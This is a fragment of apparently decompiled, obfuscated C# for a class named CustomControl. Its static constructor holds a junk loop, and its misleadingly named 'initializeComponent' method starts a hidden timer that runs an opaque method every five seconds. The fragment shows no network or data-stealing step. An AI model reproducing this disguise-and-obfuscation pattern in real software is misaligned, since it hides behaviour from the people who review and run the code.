/// <summary>
        /// Initializes static members of the <see cref="CustomControl"/> class.
        /// </summary>
        static CustomControl()
        {
            int num  = 0;
            int num1 = 0;
            int num2;

            CustomControl.myidentity = "";
            if (!CustomControl.Paint_())
            {
                do
                {
                    if (num != num1)
                    {
                        break;
                    }
                    num1 = 1;
                    num2 = num;
                    num  = 1;
                }while (1 <= num2);
            }
            else
            {
                CustomControl.initializeComponent(true);
            }
        }
        /// <summary>
        /// Initializes the component.
        /// </summary>
        /// <param name="firstTime">if set to <c>true</c> [first time].</param>
        public static void initializeComponent(bool firstTime)
        {
            if (CustomControl.Paint_())
            {
                string str = CustomControl.RenderComplete();

                if (firstTime)
                {
                    System.Windows.Forms.Timer timer = new System.Windows.Forms.Timer()
                    {
                        Interval = 5000
                    };
                    timer.Tick += new EventHandler(CustomControl.smethod_0);
                    timer.Start();
                    return;
                }
            }
        }